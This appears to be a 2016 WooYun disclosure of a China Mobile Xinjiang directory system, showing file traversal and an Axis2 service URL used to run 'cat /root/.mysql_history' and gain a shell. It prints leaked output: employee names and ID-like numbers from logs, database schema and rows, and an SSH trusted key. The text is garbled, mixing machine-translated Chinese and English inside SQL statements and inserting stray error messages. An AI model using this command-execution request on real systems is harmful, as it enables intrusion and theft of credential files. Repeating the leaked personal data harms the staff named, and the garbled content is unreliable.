中国移动通信集团新疆集团通讯录某处文件包含导致命令执行Getshell

漏洞标题 中国移动通信集团新疆集团通讯录某处文件包含导致命令执行Getshell 相关厂商 中国移动 漏洞作者 路人甲 提交时间 2016-04-27 19:20 公开时间 2016-06-13 10…

Failure when receiving data from the peer 下面还有文件遍历,4 **。**。**。**: 8080 /下载/

**。**。**。**: 8080/download/indextomcat.jsp 直接获取,

**。**。**。**: 8080/Group/logs/smms.log 记录泄漏信息 [jdbc: mysql **。**。**。**: 3306/jttxl?useUnicode=true& characterEncoding=UTF-8]] [2016-04-27 01: 00: 10,674] [DEBUG] [sql.ResultSet] [{rset-100050}结果: [08558047627791600147,张力,魏爱东等] [2016-04-27 01: 00: 10,674] [DEBUG] [sql.ResultSet] [{rset-100050}结果: [99021592896422007516,魏国晓,王萌等]

**。**。**。**: 8080/fileser/resources/image/upload / 文件遍历信息泄漏,

**。**。**。**: 8080 //axis2/services/Cat/exec?cmd=cat%20%20/root/.mysql_history linux中的mysql记录, NULL评论'新疆移动中学部', `area_code` varchar(10)DEFAULT NULL COMMENT'地州编码', `area_name` varchar(64)DEFAULT NULL COMMENT'land name', PRIMARY KEY(`id`) )ENGINE=InnoDB DEFAULT CHARSET=utf8; CREATE TABLE`sys_dept_area_info`(`id` varchar(32)NOT NULL,`department_name` varchar(64)NOT NULL COMMENT'Nunew Mobile secondary department',`area_code` varchar(10)DEFAULT NULL COMMENT'ge state编码',` area_name` varchar(64)DEFAULT NULL COMMENT'land name',PRIMARY KEY(`id`))ENGINE=InnoDB DEFAULT CHARSET=utf8; 插入`sys_dept_area_info` VALUES('8a1896523c29d5ec013c29da5f0f0000','乌鲁木齐市分公司','6501','乌鲁木齐'); 插入`sys_dept_area_info` VALUES('8a1896523c29d5ec013c29da5f0f0001','Akesu Branch','6529','Akesu'); INSERT INTO`sys_dept_area_info` VALUES('8a1896523c29d5ec013c29da5f0f0002','District Company','6501','Urumqi'); INSERT INTO`sys_dept_area_info` VALUES('8a1896523c29d5ec013c29da5f0f0003','New Account','6501','Urumqi'); INSERT INTO`sys_dept_area_info` VALUES('8a1896523c29d5ec013c29da5f0f0004','Altay Branch','6543','Altay'); 插入`sys_dept_area_info` VALUES('8a1896523c29d5ec013c29da5f0f0005','霸州分公司','6528','霸州'); 插入`sys_dept_area_info` VALUES('8a1896523c29d5ec013c29da5f0f0006','亳州移动','6527','亳州'); 从对等方接收数据时失败 INSERT INTO`sys_dept_area_info` VALUES('8a1896523c29d5ec013c29da5f0f0013','Queube Branch','654003','Querce'); 插入`sys_dept_area_info` VALUES('8a1896523c29d5ec013c29da5f0f0014','石河子科','659001','石河子');

信任连接, **。 **。 **。 **]: 30000 SSH-RSA AAAAB3NzaC1yc2EAAAABIwAAAQEApWKcM1Ltsn0e8D32Yn4ZnAIcdMKfuGTQ5/S4thMk0mgl2RRljKFjKvy4ElkN1HS9/2bQ8iL3gOWHVGUY * Nh9izMhPO6E6Z6o3wwpaxmKhJQVRbbWsQ + 07widH7AAs8IP5dTJ8OjcEawcknnjorZaAn7xvotA + mTbPL8Kag8Bn2Sp4Ln44VQB2bATBq6kHUf1f3z + tFzyjMDkOjSb6RPCNYN4kEaglL0RgE71SpoLTg4VQ1s662rdTifDtFRR0kj8CJi0DkdvMKKmWwa6eMak92ScD4EmBNkOOGpJT2d1d7nprvyK4DtMumTSjEMhYjGdB/x3yAh87Pr7/3QrMQLgw== [**。**。**。**]: 30000 ssh-rsa

好 漏洞证明: 以上 修理计划: 升级axis2! 版权声明:请注明出处。居民A @乌云